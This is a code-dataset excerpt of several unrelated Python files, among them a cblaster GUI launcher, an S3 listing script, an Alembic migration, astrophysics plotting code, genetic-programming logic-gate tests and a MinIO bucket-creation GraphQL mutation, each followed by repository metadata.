gap=int(values["gap"]),
unique=int(values["unique"]),
min_hits=int(values["min_hits"]),
require=values["require"],
min_identity=float(values["min_identity"]),
min_coverage=float(values["min_coverage"]),
max_evalue=float(values["max_evalue"]),
recompute=values["recompute"],
)
if values["search_mode"] == "remote":
args.update(
database=[values["database"]],
entrez_query=values["entrez_query"],
rid=values["rid"]
)
elif values["search_mode"] == "local":
args.update(
database=[values["dmnd_database"]],
cpus=values["cpus"]
)
elif values["search_mode"] == "hmm":
args.update(
database=[values["fa database"]],
database_pfam=values["pfam database"]
)
elif values["search_mode"] == "combi_local":
args.update(
database=[values["fa database cl"], values["dmnd_database cl"]],
database_pfam=values["pfam database cl"],
cpus=values["cpus cl"]
)
elif values["search_mode"] == "combi_remote":
args.update(
database=[values["fa database cr"], values["database cr"]],
database_pfam=values["pfam database cr"],
entrez_query=values["entrez_query cr"],
rid=values["rid cr"]
)
if values["summary_gen"]:
summary = None
if values["summary_text"]:
summary = values["summary_text"]
args.update(
output=summary,
output_decimals=values["summary_decimals"],
output_delimiter=values["summary_delimiter"],
output_hide_headers=values["summary_hide_headers"]
)
if values["binary_gen"]:
args.update(
binary=values["binary_text"],
binary_delimiter=values["binary_delimiter"],
binary_hide_headers=values["binary_hide_headers"],
binary_decimals=values["binary_decimals"],
binary_attr=values["binary_attr"],
binary_key=getattr(builtins, values["binary_key"]),
)
if values["figure_gen"]:
plot = values["figure_text"] if values["figure_text"] else True
args.update(plot=plot)
# Overwrite any placeholder text
for arg, value in args.items():
if isinstance(value, str) and value.startswith("e.g."):
args[arg] = ""
main.cblaster(**args)
elif values["cblaster_tabs"] == "Makedb":
main.makedb(
genbanks=values["makedb_genbanks"].split(";"),
filename=values["makedb_filename"],
indent=values["json_indent"]
)
elif values["cblaster_tabs"] == "Neighbourhood":
main.gne(
session=values["session"],
output=values["output"],
max_gap=int(values["max_gap"]),
samples=int(values["samples"]),
scale=values["scale"],
)
elif values["cblaster_tabs"] == "Extract":
cb_extract.extract(
values["extract_session"],
in_cluster=values["in_cluster"],
delimiter=values["delimiter"],
name_only=values["name_only"],
download=values["download"],
output=values["extract_output"],
queries=values["queries"],
organisms=values["organisms"],
scaffolds=values["scaffolds"],
)
else:
raise ValueError("Expected 'Search', 'Makedb', 'Neighbourhood' or 'Extract'")
def cblaster_gui():
layout = [
[sg.Text("cblaster", font="Arial 18 bold", pad=(0, 0))],
[sg.Text(f"v{__version__}", font="Arial 10", pad=(0, 0))],
[sg.Text("Cameron Gilchrist, 2020", font="Arial 10", pad=(0, 0))],
[sg.TabGroup([
[sg.Tab("Search", [[Column(search.layout, scrollable=True)]])],
[sg.Tab("Neighbourhood", [[Column(gne.layout)]])],
[sg.Tab("Makedb", [[Column(makedb.layout)]])],
[sg.Tab("Extract", [[Column(extract.layout, scrollable=True)]])],
[sg.Tab("Citation", [[Column(citation.layout)]])],
], enable_events=True, key="cblaster_tabs"
)],
[sg.Button("Start", key="start_button", button_color=["white", "green"]),
sg.Button("Exit", key="exit_button", button_color=["white", "red"])],
]
window = sg.Window(
"cblaster",
layout,
size=(600, 660),
element_padding=(5, 5),
element_justification="center",
finalize=True
)
while True:
event, values = window.read()
if event in (None, "exit_button"):
break
# Disable binary & summary table, figure options if not enabled
for key in ("browse", "text", "delimiter", "decimals", "hide_headers", "key", "attr"):
window[f"binary_{key}"].update(disabled=not values["binary_gen"])
for key in ("browse", "text", "decimals", "hide_headers", "delimiter"):
window[f"summary_{key}"].update(disabled=not values["summary_gen"])
for key in ("browse", "text"):
window[f"figure_{key}"].update(disabled=not values["figure_gen"])
# Disable start button when on citation tab
window["start_button"].update(
disabled=values["cblaster_tabs"]
not in ("Search", "Makedb", "Neighbourhood")
)
if event:
if event == "start_button":
run_cblaster(values)
window.close()
if __name__ == "__main__":
cblaster_gui()
| 33.695652 | 94 | 0.555556 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2,162 | 0.309964 |
3461f75437c6e8764c0d89e33b3659778cc6f407 | 368 | py | Python | MRTasks/parsingTasks/listS3Files.py | ArulselvanMadhavan/Artist_Recognition_from_Audio_Features | feeca8487773b2f1bac7f408fd11adcc3820b294 | [
"Apache-2.0"
] | 1 | 2016-04-19T14:17:12.000Z | 2016-04-19T14:17:12.000Z | MRTasks/parsingTasks/listS3Files.py | ArulselvanMadhavan/Artist_Recognition_from_Audio_Features | feeca8487773b2f1bac7f408fd11adcc3820b294 | [
"Apache-2.0"
] | null | null | null | MRTasks/parsingTasks/listS3Files.py | ArulselvanMadhavan/Artist_Recognition_from_Audio_Features | feeca8487773b2f1bac7f408fd11adcc3820b294 | [
"Apache-2.0"
] | 1 | 2016-09-16T15:08:00.000Z | 2016-09-16T15:08:00.000Z | import sys
__author__ = 'arul'
from boto.s3.connection import S3Connection
if __name__ == '__main__':
access_key = sys.argv[1]
access_secret = sys.argv[2]
conn = S3Connection(access_key,access_secret)
bucket = conn.get_bucket('cs6240_msd')
for key in bucket.list(prefix='cs6240_msd/'):
print key
# print key.name.encode('utf-8') | 24.533333 | 49 | 0.682065 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 73 | 0.19837 |
346219eff16b54d9f3ede1460d4a16bec732ce9e | 170 | py | Python | TestMain/cool.py | ppcrong/TestMain | 38fa0d64439a7d02d2806be3b09043a4294912de | [
"Apache-2.0"
] | null | null | null | TestMain/cool.py | ppcrong/TestMain | 38fa0d64439a7d02d2806be3b09043a4294912de | [
"Apache-2.0"
] | null | null | null | TestMain/cool.py | ppcrong/TestMain | 38fa0d64439a7d02d2806be3b09043a4294912de | [
"Apache-2.0"
] | null | null | null | # cool.py
def cool_func():
print('cool_func(): Super Cool!')
print('__name__:', __name__)
if __name__ == '__main__':
print('Call it locally')
cool_func()
| 14.166667 | 37 | 0.629412 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 73 | 0.429412 |
3463bda8bf81306d7b5d5fb016561e09a511a66d | 95 | py | Python | superlists/apps.py | cidyoon/django-blog | 9bbe90de935e694a5aafb19df1f4c0c87584418c | [
"MIT"
] | null | null | null | superlists/apps.py | cidyoon/django-blog | 9bbe90de935e694a5aafb19df1f4c0c87584418c | [
"MIT"
] | null | null | null | superlists/apps.py | cidyoon/django-blog | 9bbe90de935e694a5aafb19df1f4c0c87584418c | [
"MIT"
] | null | null | null | from django.apps import AppConfig
class SuperlistsConfig(AppConfig):
name = 'superlists'
| 15.833333 | 34 | 0.768421 | 58 | 0.610526 | 0 | 0 | 0 | 0 | 0 | 0 | 12 | 0.126316 |
3464d9605dc84d67af5924093064dbe060947bff | 936 | py | Python | alembic/versions/0b7ccbfa8f7c_add_order_and_hide_from_menu_to_page_.py | matslindh/kimochi | 5819ca57b467d65b0ac4eeb11622548a6a1e965a | [
"MIT"
] | null | null | null | alembic/versions/0b7ccbfa8f7c_add_order_and_hide_from_menu_to_page_.py | matslindh/kimochi | 5819ca57b467d65b0ac4eeb11622548a6a1e965a | [
"MIT"
] | null | null | null | alembic/versions/0b7ccbfa8f7c_add_order_and_hide_from_menu_to_page_.py | matslindh/kimochi | 5819ca57b467d65b0ac4eeb11622548a6a1e965a | [
"MIT"
] | null | null | null | """Add order and hide_from_menu to Page model
Revision ID: 0b7ccbfa8f7c
Revises: 8f5b2066cbac
Create Date: 2016-03-23 16:33:44.047433
"""
# revision identifiers, used by Alembic.
revision = '0b7ccbfa8f7c'
down_revision = '8f5b2066cbac'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
def upgrade():
### commands auto generated by Alembic - please adjust! ###
with op.batch_alter_table('pages', schema=None) as batch_op:
batch_op.add_column(sa.Column('hide_from_menu', sa.Boolean(), nullable=True))
batch_op.add_column(sa.Column('order', sa.Integer(), nullable=True))
### end Alembic commands ###
def downgrade():
### commands auto generated by Alembic - please adjust! ###
with op.batch_alter_table('pages', schema=None) as batch_op:
batch_op.drop_column('order')
batch_op.drop_column('hide_from_menu')
### end Alembic commands ###
| 26.742857 | 85 | 0.707265 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 441 | 0.471154 |
34662329b3c89b9de5cd7e3249e18c3a5937c451 | 3,812 | py | Python | Analytic/plots.py | benvchurch/project-eva | 38e3e61ec1913fb2d94fbb8a5db53b90ec32ed66 | [
"Unlicense"
] | 1 | 2017-07-27T19:02:16.000Z | 2017-07-27T19:02:16.000Z | Analytic/plots.py | benvchurch/project-eva | 38e3e61ec1913fb2d94fbb8a5db53b90ec32ed66 | [
"Unlicense"
] | null | null | null | Analytic/plots.py | benvchurch/project-eva | 38e3e61ec1913fb2d94fbb8a5db53b90ec32ed66 | [
"Unlicense"
] | null | null | null | from __future__ import division
import numpy as np
from scipy import special
from numpy import log, exp, sin ,cos, pi, log10, sqrt
from scipy.integrate import quad, dblquad, cumtrapz
from matplotlib import pyplot as plt
import time
import CDM_SubHalo_Potential
import FDM_SubHalo_Potential
#integral precision
p = 2
#num plot points
num = 50
#fluc, normedfluc, fourierfluc, sqfourierfluc, tidalvar, flucwalk, veldispersion
var = "veldispersion"
#calc, test
mode = "calc"
#radius for test
Rtest = 10**3
params = {
'axes.labelsize': 24,
'axes.titlesize': 22,
'legend.fontsize': 20,
'xtick.labelsize': 24,
'ytick.labelsize': 24,
'text.usetex': True,
'figure.figsize': [10,8], # instead of 4.5, 4.5
'lines.linewidth': 2,
'xtick.major.pad': 15,
'ytick.major.pad': 15,
'figure.subplot.bottom': 0.12,
'figure.subplot.top': 0.95,
'figure.subplot.left': 0.225,
#'font.size': 22
}
plt.rcParams.update(params)
ep = np.logspace(1, p, num)
D = np.logspace(0, 5, num)
if(var == "fluc"):
CDMfunc = CDM_SubHalo_Potential.Fluc
elif(var == "normedfluc"):
CDMfunc = CDM_SubHalo_Potential.NormalizedFluc
elif(var == "fourierfluc"):
CDMfunc = CDM_SubHalo_Potential.NormedFourierMagInt
elif(var == "sqfourierfluc"):
CDMfunc = CDM_SubHalo_Potential.IntegSpectralPower
elif(var == "tidalvar"):
CDMfunc = CDM_SubHalo_Potential.TidalVariance
elif(var == "flucwalk"):
CDMfunc = CDM_SubHalo_Potential.FlucWalk
elif(var == "veldispersion"):
CDMfunc = CDM_SubHalo_Potential.VelocityDispersion
def CDM_Calculate():
if(mode == "calc"):
return map(lambda x: CDMfunc(x, int(10**p)), D)
elif(mode == "test"):
return map(lambda x: CDMfunc(Rtest, int(x)), ep)
if(var == "fluc"):
FDMfunc = FDM_SubHalo_Potential.Fluc
elif(var == "normedfluc"):
FDMfunc = FDM_SubHalo_Potential.NormalizedFluc
elif(var == "fourierfluc"):
FDMfunc = FDM_SubHalo_Potential.NormedFourierMagInt
elif(var == "sqfourierfluc"):
FDMfunc = FDM_SubHalo_Potential.IntegSpectralPower
elif(var == "tidalvar"):
FDMfunc = FDM_SubHalo_Potential.TidalVariance
elif(var == "flucwalk"):
FDMfunc = FDM_SubHalo_Potential.FlucWalk
elif(var == "veldispersion"):
FDMfunc = FDM_SubHalo_Potential.VelocityDispersion
def FDM_Calculate(set_m22):
FDM_SubHalo_Potential.m22 = set_m22
if(mode == "calc"):
return map(lambda x: FDMfunc(x, int(10**p)), D)
elif(mode == "test"):
return map(lambda x: FDMfunc(Rtest, int(x)), ep)
def main():
t = time.time()
plt.loglog(D, CDM_Calculate(), label = '$CDM$', linestyle = '--')
print "done CDM in " + str(time.time() - t)
log_axion_masses = [6,4,2,1,0,-1]
for logm in log_axion_masses:
t = time.time()
plt.loglog(D, FDM_Calculate(10**logm), label = r'$m_{a} = 10^{' + str(logm-22) +'} eV$')
print "done FDM log(m22) = " + str(logm) + " in " + str(time.time() - t)
plt.xlabel(r'$r(pc)$')
if(var == "fluc"):
plt.ylabel(r'$ \sqrt{\left < \left (\frac{\partial \phi}{\partial t} \right )^2 \right >} \quad ((km/s)^{2} Myr^{-1})$')
elif(var == "normedfluc"):
plt.ylabel(r'$ \sqrt{\left < \left (\frac{\partial \phi}{\partial t} \right )^2 \right > } \left (\frac{\Omega}{\phi} \right )$')
elif(var == "fourierfluc"):
plt.ylabel(r'\[ \frac{1}{\phi} \int_{\Omega}^{\infty} | \tilde{\phi}(\omega) | d\omega \]')
elif(var == "sqfourierfluc"):
plt.ylabel(r'\[ \sqrt{\frac{\Omega}{\phi^2} \int_{\Omega}^{\infty} | \tilde{\phi}(\omega) |^2 d\omega} \]')
elif(var == "tidalvar"):
plt.ylabel(r'$\sigma_{T}^2$')
elif(var == "flucwalk"):
plt.ylabel(r'$ \sqrt{\left < \left (\frac{\partial \phi}{\partial t} \right )^2 \right >^{\frac{1}{2}} \cdot T_{age}} \quad (km/s)$')
elif(var == "veldispersion"):
plt.ylabel(r'$ \Delta v \: (km/s)$')
plt.legend(loc='lower right')
plt.show()
if __name__ == "__main__":
main()
| 29.550388 | 135 | 0.662382 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,365 | 0.35808 |
34675a441a31155069ce27c1848586abca7d0df5 | 13,653 | py | Python | operationGenerationTests.py | moritz155/GeneticPy | e6a1314efb18e3a17d6078043bb440abd2ad1925 | [
"MIT"
] | 11 | 2015-06-11T02:31:20.000Z | 2021-10-04T05:05:03.000Z | operationGenerationTests.py | cosmina98/GeneticPy | 970f16129c753fc67f2d68beb4c96b2c72e37a52 | [
"MIT"
] | null | null | null | operationGenerationTests.py | cosmina98/GeneticPy | 970f16129c753fc67f2d68beb4c96b2c72e37a52 | [
"MIT"
] | 7 | 2015-11-22T18:29:18.000Z | 2021-11-29T11:07:10.000Z | import unittest
import datetime
import genetic
import random
class Node:
Value = None
Left = None
Right = None
def __init__(self, value, left=None, right=None):
self.Value = value
self.Left = left
self.Right = right
def isFunction(self):
return self.Left is not None
def __str__(self):
result = self.Value
if self.isFunction():
result += "([" + str(self.Left) + "]"
if self.Right is not None:
result += ",[" + str(self.Right) + "]"
result += ")"
return result + " "
class Operation:
Func = None
HasLeft = None
HasRight = None
def __init__(self, func, hasLeft, hasRight):
self.Func = func
self.HasLeft = hasLeft
self.HasRight = hasRight
def getUsedIndexes(candidate):
used = {0: [0]}
if candidate[0].isFunction():
for i in reversed(range(len(candidate))):
element = candidate[i]
iUsed = [i]
if element.isFunction():
leftIndex = element.Left
rightIndex = element.Right
if i < leftIndex < len(candidate):
iUsed.extend(used[leftIndex])
if rightIndex is not None:
if i < rightIndex < len(candidate):
iUsed.extend(used[rightIndex])
used[i] = iUsed
return set(used[0])
def getFitness(candidate, geneset, rules):
usedIndexes = getUsedIndexes(candidate)
localCopy = candidate[:]
notUsed = list(set(range(len(candidate))) - usedIndexes)
for i in notUsed:
localCopy[i] = None
fitness = 0
for rule in rules:
if getFitnessForRule(localCopy, rule[0], rule[1], geneset) == rule[2]:
fitness += 1
if fitness == len(rules):
fitness = 1000 - len(usedIndexes)
return fitness
def getFitnessForRule(candidate, a, b, geneset):
if candidate[0].isFunction():
localCopy = candidate[:]
for i in reversed(range(len(localCopy))):
element = localCopy[i]
if element is None:
continue
if element.isFunction():
leftIndex = element.Left
rightIndex = element.Right
left = None
if i < leftIndex < len(localCopy):
left = localCopy[leftIndex].Value
right = None
if rightIndex is not None:
if i < rightIndex < len(localCopy):
right = localCopy[rightIndex].Value
value = element.Value
if isinstance(element.Value, str):
gene = geneset[element.Value]
value = gene.Func(left if left is not None else 0,
right if right is not None else 0)
localCopy[i] = Node(value)
else:
localCopy[i] = Node(geneset[element.Value].Func(a, b))
result = localCopy[0].Value
else:
result = geneset[candidate[0].Value].Func(a, b)
return result
def displayDot(candidate, startTime):
result = createDot(candidate.Genes)
timeDiff = datetime.datetime.now() - startTime
print("%s\nfitness: %i\t%s\t%s" % (";".join(result), candidate.Fitness, str(timeDiff), candidate.Strategy))
def createDot(genes):
dotCommands = []
added = [False for i in range(0, len(genes))]
stack = [0]
haveZeroNode = False
while len(stack) > 0:
index = stack.pop()
if added[index]:
continue
added[index] = True
element = genes[index]
if not element.isFunction():
dotCommands.append(str(index) + " [label=\"" + str(element.Value) + "\"]")
else:
dotCommands.append(str(index) + " [label=\"" + element.Value + "\"]")
leftIndex = element.Left
if index < leftIndex < len(genes):
stack.append(leftIndex)
dotCommands.append(str(leftIndex) + " -> " + str(index))
else:
if not haveZeroNode:
dotCommands.append("zero [label=\"0\"]")
haveZeroNode = True
dotCommands.append("zero -> " + str(index))
rightIndex = element.Right
if rightIndex is not None:
if index < rightIndex < len(genes):
stack.append(rightIndex)
dotCommands.append(str(rightIndex) + " -> " + str(index))
else:
if not haveZeroNode:
dotCommands.append("zero [label=\"0\"]")
haveZeroNode = True
dotCommands.append("zero -> " + str(index))
return dotCommands
def displayRaw(candidate, startTime):
timeDiff = datetime.datetime.now() - startTime
print("%s\t%i\t%s" %
((' '.join(map(str, [str(item) for item in candidate.Genes]))),
candidate.Fitness,
str(timeDiff)))
def mutate(childGenes, fnCreateGene):
childIndexesUsed = list(getUsedIndexes(childGenes))
index = childIndexesUsed[random.randint(0, len(childIndexesUsed) - 1)]
childGenes[index] = fnCreateGene(index, len(childGenes))
def crossover(child, parent):
usedParentIndexes = list(sorted(getUsedIndexes(parent)))
usedChildIndexes = list(getUsedIndexes(child))
if len(usedParentIndexes) == 1 and len(usedChildIndexes) == 1:
# node 0 has no child nodes, just copy it
child[0] = parent[0]
return
while True:
parentIndex = usedParentIndexes[random.randint(0, len(usedParentIndexes) - 1)]
childIndex = usedChildIndexes[random.randint(0, len(usedChildIndexes) - 1)]
if parentIndex != 0 or childIndex != 0:
# don't copy the root to the root
break
unusedChildIndexes = list(sorted(set(range(childIndex, len(child))) - set(usedChildIndexes)))
unusedChildIndexes.insert(0, childIndex)
mappedIndexes = {}
nextIndex = 0
for pIndex in usedParentIndexes:
if pIndex < parentIndex:
continue
if len(unusedChildIndexes) > nextIndex:
mappedIndexes[pIndex] = unusedChildIndexes[nextIndex]
else:
mappedIndexes[pIndex] = len(child) + nextIndex - len(unusedChildIndexes)
nextIndex += 1
for parentIndex in mappedIndexes.keys():
node = parent[parentIndex]
childIndex = mappedIndexes[parentIndex]
childNode = Node(node.Value, node.Left, node.Right)
if childIndex < len(child):
child[childIndex] = childNode
else:
child.append(childNode)
left = node.Left
if left is not None:
childNode.Left = mappedIndexes[left] if left in mappedIndexes else 0
right = node.Right
if right is not None:
childNode.Right = mappedIndexes[right] if right in mappedIndexes else 0
def createGene(index, length, geneset):
keys = list(geneset.keys())
key = keys[random.randint(0, len(keys) - 1)]
op = geneset[key]
left = random.randint(index, length - 1) if op.HasLeft else None
right = random.randint(index, length - 1) if op.HasRight else None
return Node(key, left, right)
class OperationGenerationTests(unittest.TestCase):
geneset = None
@classmethod
def setUpClass(cls):
cls.geneset = {'A': Operation(lambda a, b: a, False, False),
'B': Operation(lambda a, b: b, False, False),
'AND': Operation(lambda a, b: a & b, True, True),
'NOT': Operation(lambda a, b: a == 0, True, False)}
def test_generate_OR(self):
minNodes = 6 # not( and( not(a), not(b)))
rules = [[0, 0, 0], [0, 1, 1], [1, 0, 1], [1, 1, 1]]
maxNodes = 20
optimalValue = 1000 - minNodes
startTime = datetime.datetime.now()
fnDisplay = lambda candidate: displayDot(candidate, startTime)
fnGetFitness = lambda candidate: getFitness(candidate, self.geneset, rules)
fnCreateGene = lambda index, length: createGene(index, length, self.geneset)
fnMutate = lambda child: mutate(child, fnCreateGene)
best = genetic.getBest(fnGetFitness, fnDisplay, minNodes, optimalValue, createGene=fnCreateGene,
maxLen=maxNodes, customMutate=fnMutate, customCrossover=crossover)
self.assertTrue(best.Fitness >= optimalValue)
def test_generate_XOR(self):
minNodes = 9 # and( not( and(a, b)), not( and( not(a), not(b))))
rules = [[0, 0, 0], [0, 1, 1], [1, 0, 1], [1, 1, 0]]
maxNodes = 50
optimalValue = 1000 - minNodes
startTime = datetime.datetime.now()
fnDisplay = lambda candidate: displayDot(candidate, startTime)
fnGetFitness = lambda candidate: getFitness(candidate, self.geneset, rules)
fnCreateGene = lambda index, length: createGene(index, length, self.geneset)
fnMutate = lambda child: mutate(child, fnCreateGene)
best = genetic.getBest(fnGetFitness, fnDisplay, minNodes, optimalValue, createGene=fnCreateGene,
maxLen=maxNodes, customMutate=fnMutate, customCrossover=crossover)
self.assertTrue(best.Fitness >= optimalValue)
def test_generate_XOR_with_addition(self):
minNodes = 5 # and( 1, +(a, b))
geneset = {'A': Operation(lambda a, b: a, False, False),
'B': Operation(lambda a, b: b, False, False),
'AND': Operation(lambda a, b: a & b, True, True),
'NOT': Operation(lambda a, b: a == 0, True, False),
'+': Operation(lambda a, b: a + b, True, True),
'1': Operation(lambda a, b: 1, False, False)}
rules = [[0, 0, 0], [0, 1, 1], [1, 0, 1], [1, 1, 0]]
maxNodes = 50
optimalValue = 1000 - minNodes
startTime = datetime.datetime.now()
fnDisplay = lambda candidate: displayDot(candidate, startTime)
fnGetFitness = lambda candidate: getFitness(candidate, geneset, rules)
fnCreateGene = lambda index, length: createGene(index, length, geneset)
fnMutate = lambda child: mutate(child, fnCreateGene)
best = genetic.getBest(fnGetFitness, fnDisplay, minNodes, optimalValue, createGene=fnCreateGene,
maxLen=maxNodes, customMutate=fnMutate, customCrossover=crossover)
self.assertTrue(best.Fitness >= optimalValue)
def test_getFitness_given_base_node_is_A_and_1_matching_rule_should_return_1(self):
rules = [[0, 0, 0], [0, 1, 1]]
genes = [Node('A')]
result = getFitness(genes, self.geneset, rules)
self.assertEqual(result, 1)
def test_getFitness_given_base_node_is_B_and_1st_2_rules_match_should_return_2(self):
rules = [[0, 0, 0], [0, 1, 1], [1, 0, 1]]
genes = [Node('B')]
result = getFitness(genes, self.geneset, rules)
self.assertEqual(result, 2)
def test_getFitness_given_base_node_is_NOT_with_Left_node_out_of_bounds_and_1st_rule_matches_should_return_1(self):
rules = [[1, 1, 1], [0, 0, 0]]
genes = [Node('NOT', 100, 0)]
result = getFitness(genes, self.geneset, rules)
self.assertEqual(result, 1)
def test_getFitness_given_base_node_is_NOT_with_Left_node_A_and_2nd_rule_matches_should_return_1(self):
rules = [[0, 0, 0], [1, 1, 1]]
genes = [Node('NOT', 100, 0)]
result = getFitness(genes, self.geneset, rules)
self.assertEqual(result, 1)
def test_getFitness_given_base_node_is_AND_with_both_nodes_out_of_bounds_and_0_matching_rules_should_return_0(self):
rules = [[1, 0, 1]]
genes = [Node('AND', 100, 100)]
result = getFitness(genes, self.geneset, rules)
self.assertEqual(result, 0)
def test_getFitness_given_all_rules_pass_and_1_gene_should_return_1000_minus_1(self):
rules = [[0, 0, 0]]
genes = [Node('AND', 100, 100)]
result = getFitness(genes, self.geneset, rules)
self.assertEqual(result, 1000 - len(genes))
def test_getFitness_given_all_rules_pass_and_2_genes_but_only_1_used_should_return_1000_minus_1(self):
rules = [[0, 0, 0]]
genes = [Node('AND', 100, 100), Node('B')]
result = getFitness(genes, self.geneset, rules)
self.assertEqual(result, 1000 - 1)
def test_getFitness_given_all_rules_pass_and_3_genes_but_only_2_used_should_return_1000_minus_2(self):
rules = [[0, 0, 0]]
genes = [Node('AND', 2, 100), Node('AND', 2, 2), Node('B')]
result = getFitness(genes, self.geneset, rules)
self.assertEqual(result, 1000 - 2)
def test_getFitness_given_all_rules_pass_with_NOT_2_NOT_1_NOT_2_B_A_should_return_1000_minus_2(self):
rules = [[0, 0, 0]]
genes = [Node('NOT', 2), Node('NOT', 1), Node('NOT', 2), Node('B'), Node('A')]
result = getFitness(genes, self.geneset, rules)
self.assertEqual(result, 1000 - 2)
def test_getFitness_given_rules_and_genes_for_XOR_should_get_1000_minus_9(self):
rules = [[0, 0, 0], [0, 1, 1], [1, 0, 1], [1, 1, 0]]
# and( not( and(a, b)), not( and( not(a), not(b))))
genes = [Node('AND', 1, 2), Node('NOT', 3), Node('NOT', 4), Node('AND', 5, 6), Node('AND', 7, 8),
Node('NOT', 7), Node('NOT', 8), Node('A'), Node('B')]
result = getFitness(genes, self.geneset, rules)
self.assertEqual(result, 1000 - 9)
if __name__ == '__main__':
unittest.main()
| 39.459538 | 120 | 0.592324 | 7,011 | 0.513514 | 0 | 0 | 323 | 0.023658 | 0 | 0 | 548 | 0.040138 |
3468df68fd8fc6a0c52f0380581de6898df0a999 | 658 | py | Python | src/schema/create_minio_bucket.py | mdpham/minio-loompy-graphene | 11bad237bd10658a97dd2a28057c83ad47e432be | [
"BSD-3-Clause"
] | null | null | null | src/schema/create_minio_bucket.py | mdpham/minio-loompy-graphene | 11bad237bd10658a97dd2a28057c83ad47e432be | [
"BSD-3-Clause"
] | 9 | 2020-03-27T07:55:20.000Z | 2022-02-18T23:47:56.000Z | src/schema/create_minio_bucket.py | mdpham/minio-loompy-graphene | 11bad237bd10658a97dd2a28057c83ad47e432be | [
"BSD-3-Clause"
] | null | null | null | from graphene import Schema, Mutation, String, Field, ID, List
from minio import Minio
from minio.error import ResponseError
from .minio_bucket import MinioBucket
from minio_client.client import minio_client
class CreateMinioBucket(Mutation):
# Use minio bucket type definition to be returned when created
Output = MinioBucket
# Subclass for describing what arguments mutation takes
class Arguments:
bucket_name = String()
# Resolver function with arguments
def mutate(root, info, bucket_name):
try:
minio_client.make_bucket(bucket_name)
return {'bucket_name': bucket_name}
except ResponseError as err:
print(err) | 31.333333 | 64 | 0.767477 | 447 | 0.679331 | 0 | 0 | 0 | 0 | 0 | 0 | 164 | 0.24924 |